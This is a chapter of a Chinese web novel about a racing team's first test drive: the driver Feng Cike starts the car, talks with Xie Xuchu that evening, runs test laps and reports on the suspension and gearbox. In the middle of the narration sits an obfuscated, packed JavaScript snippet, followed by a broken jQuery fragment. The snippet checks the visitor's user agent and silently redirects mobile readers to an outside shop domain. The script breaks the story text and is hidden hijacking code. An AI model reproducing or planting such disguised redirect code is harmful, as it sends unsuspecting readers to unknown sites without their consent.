封辞柯在驾驶舱里，双手仍然握着方向盘，耳朵里全是引擎的声音，通过车架传导到他的后背，又通过座椅传导到他的大腿和臀部，像有人在用整台车跟他说一句话。
说了什么他听不清，但那声音他等了很久，久到他已经不记得自己从什么时候开始等的。
“怠速稳定。”周至诚趴在引擎盖上，眼睛盯着仪表盘上的数据，“油压正常，水温正常，进气温度正常，没有故障码。”
他从引擎盖上起来，拍了拍手，“熄火吧。”
封辞柯按了一下熄火键，轰鸣声被一只巨大的手捂住，从高到底，最后化成一声叹息直至消失。
车间里安静了整整三秒，姜瑾瑜鼓起掌来，所有人都跟着鼓掌，包括打饭阿姨。
封辞柯从驾驶舱里出来，腿有一瞬间的僵硬，跟上一次基准测试出来的那天一样。掌心有一道浅浅的红色印记，是方向盘上的纹路压出来的。
“明天试车。”谢絮初的声音从人群里传出来，不高不低，每个人都听到了，“基地后面的测试道，周工你确认一下路面条件。”
“确认过了。”周至诚说，“今天下午我亲自跑的，沥青是新铺的，没有杂物。”
谢絮初点了点头，转过身看向封辞柯：“今晚早点睡。”
封辞柯看着他，点了一下头。
姜瑾瑜在旁边小声跟林久安说：“我怎么感觉比我自己要开车还紧张？”
“因为你本来就没要开车。”林久安说。
“你能不能别在我煽情的时候泼冷水。”
“能是能，但我不想。”
姜瑾瑜用手肘捅了他一下，捅得不重，林久安连躲都没躲。
晚饭的时候食堂比平时更安静，每个人都在想明天的事。姜瑾瑜几次想开□□跃气氛，张了张嘴又闭上。陆鸣连吃三碗饭，于芡看了他一眼，没说什么。
谢絮初喝了半碗汤就放下了筷子，他站起来往食堂门口走的时候，封辞柯也放下了筷子。两个人一前一后出了食堂，走廊里的灯感应到他们的脚步，一串一串地亮起来。
封辞柯走在谢絮初后面半步，没赶上，也没落下。走廊不长，走完也就一分钟，这一分钟里谁都没说话。
到了房间门口，谢絮初推门进去之前，停了一下。
“明天你第一个开。”他说。
“嗯。”
“这辆车是第一次上路，可能会有一些小问题，比如换挡顿挫，刹车脚感不线性，什么地方有异响。你要把这些都记下来，回来告诉周工。”
“好。”
“还有。”谢絮初顿了一下，像是在斟酌措辞，“别紧张。你在模拟器里怎么开，在测试道上就怎么开。车是一样的，只是感觉更真实。”
封辞柯看着他，走廊的灯光把他的脸照得很清楚，那双浅色的眼睛里有某种更柔软的东西。
“我不紧张。”他说。
谢絮初没接话，推门进去了。
封辞柯在走廊里站了几秒，然后推开自己的房门。房间里没有开灯，窗外的天还没有完全黑，他坐在床边，把手机从兜里掏出来点开和母亲的对话框。
“妈，明天我试车。”
消息发出去不到一分钟，对面回了一个语音通话。他没接，打字回过去：“不方便接。就是跟你说一下。”
“几点？”
“上午。”
“妈不懂赛车，但妈知道你等这天等了很久了。”后面跟了一朵红色的玫瑰花表情包。
封辞柯盯着那朵玫瑰花看了几秒，把手机锁屏放在枕头边上。他躺下来，天花板上的吸顶灯有一圈圆形的灯罩，灯罩上落了一只小飞虫，爬得很慢。
他把手举到眼前看了看，掌心里那道红色的印记已经消了，但好像还能感觉到方向盘的纹路，像一条一条河流的支流。
基地另一间，谢絮初洗完澡出来，头发半湿着，水珠顺着发梢往下滴。他穿了一件黑色的短袖T恤，坐在书桌前，打开笔记本电脑。屏幕上是一封AFS官方发来的邮件，附件是AFS新赛季各条赛道的最新路书更新说明。
他没点开。他点开了另一个文件——封辞柯在青年巅峰系列赛的所有单圈数据整理。这个文件他已经看过无数遍了，每个数字都能背下来。但他还是又看了一遍，像在确认什么。
窗外天黑透了。江对岸的霓虹灯又亮了起来，红的、蓝的、绿的，把窗帘染成彩色的。
他关掉电脑，关了灯，躺下来。
闭上眼睛之前，脑子里闪过一个画面——今天赛车点火的那一瞬间，封辞柯在驾驶舱里的那个侧脸。引擎声炸开的那一秒，他的表情没有变，但他的喉结动了一下，像是在咽什么很烫的东西。
谢絮初翻了个身，把被子拉到下巴。
明天试车。
第二天早上八点半，所有人已经在测试道边上站着了。
测试道在基地的后面，穿过一扇铁门，绕过一栋仓库，眼前豁然开朗。
一条长约两公里的柏油路面笔直地延伸向远处的树林，然后在尽头拐了一个弯，路面稍微有点坡度，柏油是深灰色的，上面还带着新铺路面特有的那种油亮。
今天的天气比昨天更好。海城难得放晴，天空是一种接近透明的蓝，云层很低很薄，像被风吹散的棉絮。
赛车被一辆平板拖车从组装车间拉过来。周至诚亲自开的拖车，速度慢得像个新手在练科目二。
拖车停稳之后，几个人把赛车从拖车上推下来。轮子接触地面的那一刻，悬挂弹了一下，车身晃了晃
周至诚蹲下来，又检查了一遍所有的螺丝和卡扣，“行了。”他站起来，拍了拍手，看向封辞柯，“可以上车了。”
封辞柯穿着一件白色的防火内衣，外面套着车队统一的深蓝色工装外套，拉链拉到最上面。他没有立刻上车，先走到车旁边，蹲下来看了看右前轮的刹车卡钳，又站起来看了一眼车顶的进气口。
然后他走到驾驶舱旁边，弯腰坐进去。
安全带扣合的声音在空旷的测试道上听起来比在车间里更脆，他握住方向盘，右脚踩住刹车，左手按了一下方向盘上的启动键。
第一个气缸爆炸的那一瞬间，整台车震了一下后声浪铺展开来。
谢絮初站在离驾驶舱最近的位置。他没有戴耳机，也没有拿平板，就这么双手插在外套口袋里站着。
封辞柯透过头盔的镜片看向他。
谢絮初点了一下头。
测试道旁边的空地上，姜瑾瑜双手死死攥着林久安的袖子，指甲隔着衣服布料掐得林久安倒吸一口凉气。
陆鸣站在他们旁边，双手抱胸，表情看起来挺放松，嘴唇是抿成一条线的，嘴角往下撇。
于芡站在陆鸣身后，手里拿着那本笔记本，笔夹在耳后。
测试道上空荡荡的，只有一台车在阳光下闪闪发光。封辞柯松开刹车，轻踩油门。车缓缓地动了起来，比走路快不了多少。
他在找离合的结合点。
这台车他第一次开，离合踏板的前半段是空的，踩下去像踩在棉花上，到某个位置突然变重了，那就是结合点。
反复试了三次，每次抬到那个位置就停一下，再踩回去。
第四次，他抬到结合点，油门踩深了一点。车像被弹弓弹出去一样，猛地往前一窜，然后又稳稳地加速。
姜瑾瑜的手在林久安袖子上又紧了一分。
车越来越快，风声从测试道两边的树林里灌过来，吹得路边的野草东倒西歪。他跑到测试道的中段，车速大概在一百四左右，然后松了油门，让车滑行，引擎的轰鸣声降下来。
他在感受车在滑行时的平衡性。
四个轮子的抓地力是不是均匀，车身有没有偏摆，方向盘回正的角度是不是自然。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545550|204126||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
封辞柯把车开到了测试道的尽头，减速，掉头，回来。这次他开得更快了一些，在三档换四档的时候，油门踩得比刚才深，转速拉到了接近八千。
引擎在高转速下的声浪完全变了，不再是那种低沉的轰鸣，而是一种像金属撕裂一样的声音，高亢、密集、连绵不绝，像一把刀在对空气说：让开。
谢絮初的右手紧握。
封辞柯跑了两圈，第三圈的时候他做了一个动作，出弯的时候方向盘回正的速度比之前快了一倍，油门踩下去的时机也提前了，车尾有一瞬间的滑动，但很快就被轮胎咬住了。
谢絮初的手指又蜷了一下，这次更用力。
第四圈，封辞柯把车停在了测试道的起点旁边。引擎没有熄火，而是在怠速状态下轻轻地抖着。
封辞柯摘下头盔，从驾驶舱里探出头来。他的额发湿透了，贴在额头上，脸被防火内衣勒出一道一道的红印子。
“怎么样？”谢絮初问。
“出弯的时候车尾有一点点甩。”封辞柯说，“后悬挂的阻尼要调硬一点。三档换四档的时候变速箱有一下顿挫，大概是同步环的问题，也可能是新变速箱还没磨合开。”
“还有呢？”
“方向盘的路感比模拟器重，但重得好，能感觉到轮胎在干嘛。刹车的前段比模拟器软，后段又比模拟器硬，需要一个适应过程。”
谢絮初点了一下头，转身看向周至诚，对方手里拿着平板。
“后悬挂阻尼加两格，变速箱再跑两天磨合看看。刹车的问题封辞柯你自己适应，赛车的刹车跟模拟器不可能完全一样。”
封辞柯应声，又看了一眼测试道的尽头。阳光从那个方向照过来，在他的头盔镜片上反射出一小块光斑。
他伸手摸了摸座舱侧壁。那一行排成方阵的名字在指尖下面，他摸到了其中几个人的名字，然后又把手收回来。
“能再跑一圈吗？”他问。
谢絮初看着他，嘴角勾起很小的幅度。
“跑。”
封辞柯重新戴上头盔，扣好，拉下镜片。油门踩下去的那一瞬间，测试道旁边的人群里有个人喊了一声“加油”，声音不大，被引擎盖过了。但封辞柯好像听到了，他换挡的动作比之前更快，更干脆。
车越来越远，声浪也越来越远，像一只越飞越高的鸟。
姜瑾瑜终于松开了林久安的袖子。他把手缩回来，看了一眼自己有些犯疼的手。
“刚才谁喊的加油？”他问。
林久安低着头看自己的袖子，袖口上多了几个皱褶，“不知道。”
陆鸣把手从胸前放下来，活动了一下手指。
于芡把那本笔记本从后裤袋里抽出来，翻开到一页空白，把笔从耳后取下来，在纸上写了几个字。陆鸣瞥了一眼，看到她在写后悬挂参数的建议值，开头是“建议增加2-3格阻尼”。
“你觉得两格不够？”陆鸣问。
“他自己说两格。”于芡头都没抬，“但他说的是‘加两格’，不是‘正好两格’。明天他跑完再看。”
陆鸣觉得她说得对，于芡说很多话都让他觉得对。这种感觉他说不清，只在每次她分析什么的时候，他都会像现在这样点点头。
车又跑了一圈。封辞柯这次没有停下，直接开回拖车旁边，熄火，摘下头盔。
前方的路只有一条，测试道很短，目测两公里出头，在尽头拐个弯就看不见了。
那条测试道的另一端连接着基地的出入口，出入口连接着外面的公路，公路连接着高速，高速连接着这个国家所有的赛道，所有的弯道，所有的直道，所有的发车线和终点线。
谢絮初走过来，站在驾驶舱旁边，跟他一起看着那个方向。
“明天继续。”谢絮初说。
封辞柯点了点头，然后从驾驶舱里出来，他把手插进口袋里。